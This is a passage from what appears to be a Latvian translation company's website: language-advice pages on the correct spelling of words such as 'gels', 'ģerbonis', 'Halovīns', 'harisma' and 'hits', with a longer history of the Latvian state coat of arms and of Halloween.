svešvalodu zināšanas. Nometnes --- > Dušā lietojam gelu vai gēlu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2024-07-16 - URL: https://skrivanek.lv/gels/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GELS PRET GĒLS 1 Vai dušā lietojam gelu vai gēlu? Vārds „gels” radies no angļu vārda „gel”, kas savukārt ir saīsināts no vārda „gelatine” (no latīņu „gelatus” – ‘sals’). Viendabīgu koloidālu recekli vai želeju ar dažām cieta ķermeņa īpašībām sauc par gelu, nevis gēlu. Kosmētikā mēdz lietot gelu pēc skūšanās, gela laku nagiem, pieejami arī dažādi geli pret sāpēm. Tātad vārdu „gēls” latviešu valodā nelieto, tā vietā lietojams „gels”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pareizi ir "ģerbonis" vai "ģērbonis"? Kādi ir tā elementi un to nozīme, veidošanās vēsture. Ieskaties šeit un uzzini atbildes! - Published: 2018-07-24 - Modified: 2024-10-23 - URL: https://skrivanek.lv/gerbonis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LATVIJAS ĢERBONIS PRET LATVIJAS ĢĒRBONIS 1 Vai rakstīsim īso vai garo „e”? Ģerbonis ir emblēma, simbols, kuru atveido uz zīmogiem, naudaszīmēm u. tml. Šo vārdu, domājams, darinājis Juris Alunāns pēc krievu valodas vārda „герб” parauga, kuram pamatā ir vācu valodas vārds „Erbe” ar nozīmi ‘mantojums’. Latviešu valodā tas rakstāms ar īso patskani „e”. Tātad senām dzimtām ir savi ģerboņi, uz naudaszīmēm redzams Latvijas valsts ģerbonis. Citi latviešu valodas padomi LATVIJAS SIMBOLS – VALSTS ĢERBONIS Valsts ģerbonis ir vienlīdz svarīgs valsts simbols kā sarkanbaltsarkanais karogs un himna "Dievs, svētī Latviju! ", apliecinot Latvijas valstiskumu, brīvību un vērtības un reprezentējot valsti. Ģerboņa vizuālā identitāte un tā elementu simbolika vēsta par piederību noteiktai vietai, identitātei, vēsturei un tās mantojumam. Dažādos gadījumos tiek izmantoti lielais, mazais un mazais papildinātais valsts ģerbonis. ĢERBOŅA ELEMENTI UN TO NOZĪME Tādu valsts ģerboni, kādu to pazīstam šobrīd, Latvijas Republikas Satversme apstiprināja tikai 1921. gada 15. jūnijā. Līdz tam valsts simbolikas nolūkam kalpoja uzlecošas saules emblēma, kuru šobrīd dažādās pārveidotās versijās izmanto, piemēram, Nacionālo bruņoto spēku, Aizsardzības ministrijas vizuālajā identitātē. Saules emblēmu – zemi, virs kuras uzlec saule ar lauzītiem stariem un centrā sakrustotiem burtiem "B" un "L", simbolizējot brīvu Latviju, – radījis mākslinieks Ansis Cīrulis 1917. gadā. Pēc Latvijas neatkarības proklamēšanas 1918. gada 18. novembrī Latvijas Tautas padomes prezidijs rīkoja konkursu jauna Latvijas valsts simbola izveidei, un uzvarēja tēlnieks Burkards Dzenis, kura ģerboņa pamatā bija Cīruļa saules simbols, bet ar burtu "L" un trīs zvaigznēm centrā, savukārt lejasdaļā bija attēlota zeme un upe, kas laika gaitā aizvietota ar Latvijas sarkanbaltsarkanā karoga lenti. Šajā ģerboņa versijā saule simbolizēja jaunas valsts cerības un attīstību, burts "L" – Latviju, trīs zvaigznes – Latvijas novadus, savukārt saules stari Latvijas apriņķus – sākumā 17, vēlāk jau 19. Autors Burkards Dzenis bija iedvesmojies no tautasdziesmas rindām: "Nebēdāi, karavīr(i), // Sidrabota saule lec. " LATVIJAS ĢERBOŅA KOMPOZĪCIJA Mūsdienu ģerbonis ir atbilstoši Eiropas heraldikas likumiem pārstrādāta sākotnējā versija. Lielā valsts ģerboņa vairogs ir dalīts un pusskaldīts. Zilajā laukā redzama uzlecoša zelta saules puse, sudraba laukā – pretēji pagriezts sarkans lauva (Kurzeme, Zemgale), sarkanajā laukā – sudraba grifs ar zelta mēli un sudraba zobenu labajā ķetnā (Vidzeme un Latgale). Virs vairoga puslokā trīs zelta zvaigznes, vairoga turētāji: labajā pusē sarkans lauva ar zelta mēli, kreisajā pusē sudraba grifs ar zelta mēli. Grifs un lauva atrodas uz diviem zaļiem ozola zariem, kas saņemti ar sarkansudrabsarkanu lenti Latvijas karoga krāsu proporcijās. Mazais valsts ģerbonis: ģerboņa vairogs ir dalīts un apakšējā daļā skaldīts. Vairoga augšējā daļā uzlecošas zelta saules puse zilā laukā, apakšējās daļas labajā pusē pret skaldījumu pavērsts uzslējies sarkans lauva sudraba laukā (Kurzeme un Zemgale), apakšējās daļas kreisajā pusē pret skaldījumu pavērsts sudraba grifs ar sudraba zobenu labajā ķetnā sarkanā laukā (Vidzeme un Latgale). Virs vairoga puslokā trīs zelta zvaigznes. Papildinātais mazais valsts ģerbonis ir mazais valsts ģerbonis, kas sānos apņemts ar diviem zaļiem ozola zariem, kas krustojas zem vairoga. UZLECOŠA SAULE, OZOLA ZARI UN TRĪS ZVAIGZNES Uzlecošā saule, kas daudz izmantota, piemēram, Latvijas brīvības cīņās, simbolizē jaunas valsts dzimšanu un uzvaru pār tumsu, trīs zvaigznes – Latvijas novadus un to vienotību, savukārt ozola zari jau latviešu folklorā bijuši spēka un izturības zīme. Trīs zelta zvaigznes kā veltījums Latvijas kultūrvēsturiskajiem reģioniem – Kurzemei, Vidzemei un Latgalei – mirdz arī brīvības statujas rokās. Tēlnieka Kārļa Zāles radītais brīvības piemineklis, kas uzcelts par tautas saziedotajiem līdzekļiem, tika atklāts 1935. gada 18. novembrī. Piemineklis noslēdzas ar granīta obelisku, virs kura sleja Brīvības tēls – varā kalta sievietes statuja, kura virs galvas tur trīs zelta zvaigznes. SARKANAIS LAUVA AR ZELTA MĒLI Grifs un lauva ir Eiropā atzīta simbolika, kas ģerbonī apliecina pagātnes mantojuma vērtību, pēctecību un piederību senajai Latvijas vēsturei. Zvēru karalis lauva ir heraldikā plaši izmantots tēls (gandrīz 15 % Eiropas ģerboņu attēlota lauva), kas tradicionāli simbolizē spēku, drošsirdību, cildenumu, izturību, diženumu. Latvijas valsts ģerbonī sarkanā lauva ar zelta mēli pārstāv Kurzemi un Zemgali. Sarkanais lauva pārņemts no 16. gs. Kurzemes un Zemgales hercogistes simbolikas, kas sākotnēji veidojusies kā valdošā Ketleru nama ģerbonis, bet 1856. gadā, kad teritorija nonāca Krievijas impērijas sastāvā, tika izvēlēts kā Kurzemes guberņas ģerbonis un uzskatīts par Kurzemes simbolu. Sarkanais lauva sudraba laukumā 1930. gadā tika apstiprināts arī kā Kurzemes apgabala ģerbonis, kas atjaunots 2012. gadā ar Vidzemes, Latgales, Kurzemes un Zemgales ģerboņu likumu. SUDRABA GRIFS AR ZELTA MĒLI Arī mītiskā būtne grifs, kas tiek attēlots kā būtne, kas pa pusei ir ērglis, pa pusei – lauva, ir heraldikā plaši izmantots kopš 14. gs. , simbolizējot gudrību, uzmanību, bezbailību un varenību. Latvijas valsts ģerbonī sudraba grifs ar zelta mēli pārstāv Latgali un Vidzemi, jo šis simbols sastopams vēsturiski par Pārdaugavas hercogisti dēvētās teritorijas uz ziemeļiem no Daugavas ģerbonī, kuru tai 1566. gadā piešķīra Polijas karalis Sigismunds II Augusts. Nedaudz citādākā versijā grifs kā Vidzemes un Latgales simbols saglabājās arī 17. –18. gs. un Vidzemes guberņas ģerbonī 19. gs. un 20. gs. sākumā. 1930. gadā sarkanā laukā novietots sudraba grifs kļuva par Vidzemes heraldisko simbolu, bet zilā laukā attēlots grifs, kurš vēršas uz otru pusi, – par Latgales apgabala ģerboni. ĢERBOŅA KRĀSAS Saskaņā ar Valsts heraldikas komisijas noteikumiem "Par valsts karoga un ģerboņu krāsām" ģerboņa krāsām jāatbilst noteiktiem PANTONE krāsu skalas parametriem: Zila – PANTONE 286C; Sarkana – PANTONE 186C; Zaļa – PANTONE 341C; Zelta – PANTONE 873C (var tikt aizstāta ar dzelteno – PANTONE 124C); Sudraba – PANTONE 877C (var tikt aizstāta ar pelēko – PANTONE 4C, cool grey); Melna – PANTONE black; Purpurs – PANTONE 208C. LATVIJAS ĢERBOŅA VEIDOŠANĀS VĒSTURE Sākotnēji pēc Latvijas Republikas neatkarības pasludināšanas valsts ģerboņa reprezentējošo funkciju pildīja jau minētā Anša Cīruļa, vēlāk Burkarda Dzeņa pārstrādātā saules emblēma, taču 1920. gadā Satversmes sapulce lēma, ka nepieciešams izstrādāt jaunu valsts ģerboni, kas atbilst heraldikas likumiem. Nostiprinoties Latvijas neatkarībai un sākot veidot starptautiskus sakarus, Satversme saprata ka saules emblēma nav piemērota valsts reprezentācijai, jo neatbilst pasaulē saprotamiem heraldikas likumiem, turklāt, nostādīta blakus citu valstu ģerboņiem, izskatās nedaudz naivi. Ģerboņa izstrādei tika izsludināti divi konkursi, labāko projektu autorus aicinot jaunajā ģerbonī izmantot Latvijas teritorijā vēsturiski jau pastāvējušo simboliku. Konkursā uzvarēja mazpazīstams mākslinieks Vilhelms Krūmiņš, kura iesniegto projektu pilnveidoja pieredzējušais grafiķis Rihards Zariņš. Jaunais Latvijas valsts ģerbonis tika apstiprināts vienā laikā ar Latvijas Republikas karogu Satversmes sapulcē 1921. gadā, pēc spraigām diskusijām nobalsojot "par" 68 deputātiem un 30 atturoties. NEVIENNOZĪMĪGĀ ATTIEKSME PRET JAUNO ĢERBONI Jauno valsts ģerboni veidoja gan jau iepriekš izmantotie Latvijas simboli (trīs zvaigznes, saules motīvs), gan Latvijas teritorijas vēsturiskās heraldikas elementi – lauva un grifs, kuru iekļaušana ģerbonī izraisīja diskusijas gan Satversmes sapulcē, gan sabiedrībā. Satversmes deputātu vidū parādījās viedoklis par lauvas un grifa simboliem kā latviešu mentalitātei nepieņemamiem un saistāmiem ar svešzemes vācu varas simboliku. Parādījās arī ierosinājumi izmantot zobenu, arklu vai sirpi, kas simbolizētu kareivjus un zemniekus. Kritika tika pausta arī presē, īpaši no mākslas aprindām. Savu viedokli publiski izteica tobrīd sabiedrībā labi pazīstami mākslinieki: Teodors Zaļkalns, Kārlis Brencēns, Eduards Brencēns un Ģederts Eliass. Pārmetumos izskanēja gan asociācijas ar vācu muižniecības jūgu, gan latviešiem raksturīgās sidraba saules pārkrāsošana zeltā. Kad neviennozīmīgi vērtētais ģerbonis tika apstiprināts, Satversmes izveidotās Heraldikas apakškomisijas vadītājs Marģers Skujenieks norādīja, ka lauva un grifs ir plaši izmantoti daudzās Eiropas valstīs un šo simbolu izmantojums norāda, ka Latvija ir neatņemama Eiropas kultūras, vēstures daļa: "Pār to veco, kas mums te gadu simteņiem pastāvējis, ir pacēlusies Latvijas saule, kura ieņem galveno vietu, noteicošo, dominējošo . " Ģerboni pārstrādāt ierosināja arī 1930. gadā, kad tika strādāts pie apgabalu ģerboņiem. Piedāvājums bija valsts ģerboņa četrdalītā vairoga laukumā secīgi novietot Kurzemes, Vidzemes, Latgales un Zemgales ģerboņus. PILSĒTU ĢERBOŅU IZVEIDE Brīdī, kad tika nodibināta neatkarīga Latvijas valsts, pilsētu ģerboņi bija tikai 19 vecākajām Latvijas pilsētām. Šie ģerboņi bija Krievijas apstiprināti – Kurzemes un Zemgales pilsētām 1846. gadā, Vidzemes pilsētām 1788. gadā un Latgales pilsētām 1781. gadā, un vairākos no tiem bija izmantoti Krievijas impērijas un monarhijas elementi. Jaunas neatkarīgas valsts izveidē bija svarīgi pasvītrot pilsētu piederību tai, tāpēc arī pilsētu pašvaldības ķērās pie ģerboņu nomaiņas. Rīgas pilsētas dome 1923. gadā apstiprināja mākslinieka Kārļa Brencēna no jauna izveidotu ģerboni, kurā vairogu turēja divi lauvas, taču vairs nebija ne tikai cara ērgļu, bet arī Zviedrijas karaļa 1660. gadā Rīgas pilsētas ģerbonim dāvāto kroņu. Arī no Daugavpils ģerboņa tika izņemts Krievijas ērglis, bet Aizputes ģerbonī Krievijas karogs tika aizstāts ar Latvijas karogu. Jelgavas ģerbonī Kurzemes hercogu Ketleru dinastijas ģerboni nomainīja pirmā Latvijas valsts ģerbonim atbilstošo sarkanā lauvas attēlu. Dažas pilsētas, piemēram, Valmiera un Valka pilnībā atteicās no agrākajiem ģerboņiem. Valmieras jaunajā ģerbonī bija redzams ozols un trīs vārpas, bet Valkas ģerbonī — pie senlatviešu pils vārtiem stāvošs karavīrs ar ugunskrustiem uz tērpa. ĢERBONIS VĒSTURES LĪKLOČOS Kad jaunais Latvijas valsts ģerbonis bija pieņemts, to plašākai sabiedrībai parādīja 1921. gada 19. augustā, publicējot "Valdības Vēstneša" titullapā. Neatkarīgas valsts laikā tas tika izmantots visdažādākajās valsts darbības jomās, kur nepieciešama vizuāla reprezentācija. Kad Latvija tika okupēta 1940. gadā, LPSR Augstākā padome, protams, pieprasīja jaunu ģerboni, kas atbilstu jaunajai iekārtai, un tika apstiprināts Artura Apiņa veidotais ģerbonis. LPSR ĢERBOŅA IZVEIDE LPSR ģerbonis tika izveidots atbilstoši PSRS simbolikai, ignorējot heraldikas noteikumus un tā vietā izmantojot obligātās PSRS vizuālās zīmes. LPSR ģerbonī redzams vārpu aplī ietverts sirpis un āmurs uzlecošas saules staros, augšējā daļā – piecstaraina zvaigzne, bet apakšējā daļā – jūra, bet uz ģerboņa redzamās lentes, kas apvij vārpas, uzraksti: centrā latviešu valodā "Latvijas PSR", sānos latviešu un krievu valodā "Visu zemju proletārieši, savienojieties! ". LATVIJAS REPUBLIKAS NEATKARĪBAS ATJAUNOŠANA Ģerboņa jautājums no jauna bija aktuāls Latvijas Republikas neatkarības atjaunošanas laikā. Vispirms 1988. gadā tika nodibināta Valsts heraldikas komisija ar uzdevumu atjaunot vēsturiskos pilsētu ģerboņus, kas tika izveidoti 20. gs. 20. –30. gados. 1989. gadā Latvijas Radošo savienības Kultūras padome izteica aicinājumu, ka jāatjauno valstiskā simbolika, tostarp Latvijas valsts ģerbonis. Valsts ģerboni atjaunoja pēc 1990. gada 15. februāra LPSR AP balsojuma, drīz pēc tam "LPSR Augstākās Padomes un Valdības Ziņotājā" publicējot likumu "Par Latvijas PSR valsts ģerboni". Atjaunotā ģerboņa zīmējumi veidoti, izmantojot Valstspapīru spiestuves 1921. gadā. izdoto litogrāfiju, zīmējuma autors ir grafiķis Juris Ivanovs. VALSTS ĢERBOŅA NORMATĪVĀ BĀZE Pēc Latvijas Republikas valstiskās neatkarības atjaunošanas ar valsts ģerboni saistītos jautājumus regulē likums "Par Latvijas valsts ģerboni", kas pieņemts 1998. gada 19. februārī. Likums regulē, kā Latvijas Republikā tiek lietots lielais valsts ģerbonis, mazais valsts ģerbonis un papildinātais mazais valsts ģerbonis, iekļaujot valsts ģerboņa veidu aprakstu, attēlojumu un lietošanas tiesības un kārtību. KUR DRĪKST IZMANTOT VALSTS ĢERBONI Likuma "Par Latvijas valsts ģerboni" 5. pants norāda, ka Lielo valsts ģerboni ir tiesīgi lietot: Valsts prezidents; Saeima, Saeimas priekšsēdētājs, Saeimas komisija un apakškomisija, kā arī Saeimas deputāts; Tieslietu padome, Satversmes tiesa, Augstākā tiesa un Ģenerālprokuratūra; Ministru kabinets, Ministru kabineta loceklis; ministrija un īpašu uzdevumu ministra sekretariāts; Latvijas Valsts prezidenta kanceleja, Saeimas Kanceleja, Valsts kanceleja; Valsts kontrole; Latvijas Banka, Finanšu un kapitāla tirgus komisija, Nacionālā elektronisko plašsaziņas līdzekļu padome, Sabiedrisko elektronisko plašsaziņas līdzekļu padome, Centrālā vēlēšanu komisija, tiesībsargs, Sabiedrisko pakalpojumu regulēšanas komisija, Augstākās izglītības padome, Centrālā zemes komisija, Fiskālās disciplīnas padome, kā arī Satversmes aizsardzības birojs; Latvijas Republikas diplomātiskā un konsulārā pārstāvniecība. Savukārt apgabaltiesa, administratīvā apgabaltiesa, rajona (pilsētas) tiesa, administratīvā rajona tiesa; Ministru kabineta, Ministru kabineta locekļa vai ministrijas pakļautībā vai pārraudzībā esošas iestādes; dzimtsarakstu iestāde; prokuratūras iestāde; zvērināts notārs; zvērināts tiesu izpildītājs; vēlēšanu komisija; publisko tiesību pašpārvaldes autonomais subjekts; bāriņtiesa tiesīgas izmantot papildināto mazo valsts ģerboni. Par valsts ģerboņa lietošanas noteikumu pārkāpšanu publisku personu iestāžu vadītājiem vai juridiskajām personām tiek piemērots naudas sods. Plašāku informāciju par likuma regulēto kārtību, kā drīkst tikt izmantots Latvijas valsts ģerbonis, var gūt, iepazīstoties ar pilnu likuma dokumentu.  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā dēvēsim 31. oktobra maskošanās svētkus, kuros tiek vilktas baisas maskas, grebti ķirbji un pie durvīm klauvē bērni, saucot Saldumus vai izjokosim!? - Published: 2018-07-24 - Modified: 2024-10-21 - URL: https://skrivanek.lv/halovins-pret-helovins/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HALOVĪNS VAI HELOVĪNS 1 Kā dēvēsim 31. oktobra maskošanās svētkus, kuros tiek vilktas baisas maskas, grebti ķirbji un pie durvīm klauvē bērni, saucot „Saldumus vai izjokosim! ” – Halovīns vai Helovīns? Visu Svēto dienas priekšvakaru angļu valodā sauc „Halloween”, kas savukārt ir saīsinājums no pilnā nosaukuma „All Hallows’ Evening” – „Visu Svēto vakars”. Latviešu valodā atbilstoši angļu valodas izrunai šo vārdu atveido kā „Halovīns”. Tātad Visu Svēto dienas priekšvakarā svinēsim Halovīna svētkus, dosimies uz Halovīna balli un grebsim Halovīna ķirbi. Citi latviešu valodas padomi HALOVĪNS – GADA BAISĀKIE SVĒTKI Halovīns jeb Visu svēto dienas priekšvakars ir viena no neviennozīmīgākajām mūsdienu tradīcijām, kurā seno ķeltu, romiešu un kristiešu svētki savijušies ar populāro kultūru, radot krāšņu miksli, kuram var ļauties ikviens neatkarīgi no reliģiskās pārliecības. Agrākie ķeltu ražas svētki gadu tūkstošu laikā ir pārvērtušies par spokainu maskarādi, kas lielākoties nevienu neatstāj vienaldzīgu. Halovīns pēdējās desmitgades laikā arī Latvijā ienācis uz palikšanu, tāpēc piedāvājam iepazīties – kas tad īsti ir tas, ko svinam 31. oktobrī. HALOVĪNS AR ĶELTU UN ROMAS SVĒTĪBU Vēsturnieki pieļauj, ka Halovīna izcelsme meklējama seno ķeltu Sovinas (Samhain) svētkos. Ķelti jauno gadu svinēja 1. novembrī, atzīmējot ražas novākšanas un auglīgā perioda beigas, kam seko skarbā ziema, kas saistījās ar grūtībām un nāvi. Ķelti ticēja, ka naktī pirms jaunā gada robežas starp dzīvo un mirušo pasauli izplūst, un tad tika svinēta Sovinas nakts, kad spoki un gari staigā starp dzīvajiem. Ticot, ka mirušo klātbūtne padara spēcīgākus druīdus, ķelti pie milzīgiem ugunskuriem ziedoja veltes mirušo gariem, paši pārģērbušies par dzīvniekiem un citām būtnēm. Kad mūsu ēras sākumā ķeltu zemes iekaroja Romas impērija, likumsakarīgi, ka druīdu tradīcijas savijās ar romiešu svētku dienām. Tā kā arī romieši oktobrī pieminēja savus mirušos, turklāt pavisam blakus bija arī augļu dievietes Pomonas svētki, šīs tradīcijas tika inkorporētas Sovinas svētkos. 8. gadsimtā Romas pāvests, apkarojot pagānus, noteica, ka oktobra pēdējā datumā tiek svinēta Visu mocekļu un visu svēto diena, un vēl pāris gadsimtus vēlāk, kad kristietība pārņēma mūsdienu Anglijas un Francijas teritorijas, šim datumam tika pievienota arī Visu dvēseļu diena, cenšoties aizstāt vietējās tradīcijas ar “pareizām”. IZKLAIDES INDUSTRIJAS NAUDAS ĀDERE 19. gadsimtā, apgūstot Amerikas kontinentu, seno ķeltu pēcteči lielajā jūras ceļojumā bagāžā līdzi ņēma ne tikai zeltu, ģimeni un to, kas mugurā, bet arī tradīcijas. Ātri vien Halovīns sajaucās ar Amerikas indiāņu ieražām, padarot šos svētkus vēl maģiskākus un baisākus. Pamazām no marginālas, pusaizmirstas tradīcijas Halovīns Amerikā kļuva par vienu no mīlētākajiem un svinētākajiem svētkiem. Jautrais cīniņš pie kaimiņu durvīm, maskās tērptiem pieprasot “našķi vai kašķi”, kļuva par gandrīz vai nacionālo tradīciju, un šobrīd Halovīns Amerikā ir viens no komerciāli ienesīgākajiem svētkiem uzreiz aiz Ziemassvētkiem. Halovīna svinībām vien amerikāņi ik gadu iztērē vairāk nekā sešus miljardus dolāru, un šajā laikā tiek nopirkta ceturtā daļa no saldumu gada patēriņa. Halovīnam kļūstot par popkultūras un izklaides industrijas, arī Holivudas, neatņemamu sastāvdaļu, tas pa multimediju kanāliem nonācis citās valstīs, tostarp atgriezies “vecajā Eiropā”, no kurienes savulaik izcēlies. Tātad, nemaz tik svešs un tāls tas baisais Halovīns nav!  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi sauksim šo īpašību kopumu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2024-07-15 - URL: https://skrivanek.lv/harisma-pret-harizma/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HARISMA PRET HARIZMA 1 Vai kādam piemīt harisma vai harizma? Vārds „harisma” cēlies no grieķu vārda „charisma”, kas nozīmē ‘labvēlība, (Dieva) svētība’. Latviešu valodā vārds rakstāms ar burtu „s” – „harisma”. Krievu valodā šo vārdu raksta un izrunā ar līdzskani „z” – „харизма”. Domājams, krievu valodas iespaidā nereti tā rakstām un runājam arī latviešu valodā, taču saskaņā ar pareizrakstības normām teiksim un rakstīsim „harisma”. Tātad personām, kuras aizrauj un suģestē citus, piemīt harisma, mēs klausāmies harismātisku cilvēku runas utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pa radio skan hiti vai hīti? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2024-07-12 - URL: https://skrivanek.lv/hits/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HITS PRET HĪTS 1 Vai pa radio skan hiti vai hīti? Populāru, daudz pieprasītu dziesmu vai skaņdarbu sauc par hitu. Par hitu dēvē arī to, kas ir ļoti pieprasīts modē, piemēram: „šā rudens hits ir krāsaini džemperi”. Vārdu „hits” esam aizguvuši no angļu valodas vārda „hit”, kas nozīmē ‘panākums’. Savukārt hīts ir ātrumsacensības, piemēram, riteņbraukšanas, jāšanas vai rikšošanas ātrumsacensības īsā distancē. Šī vārda pamatā ir tādas pašas nozīmes angļu valodas vārds „heat”. Tātad pa radio klausīsimies hitus un iesim skatīties, kā riteņbraucēji sacenšas hītā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus 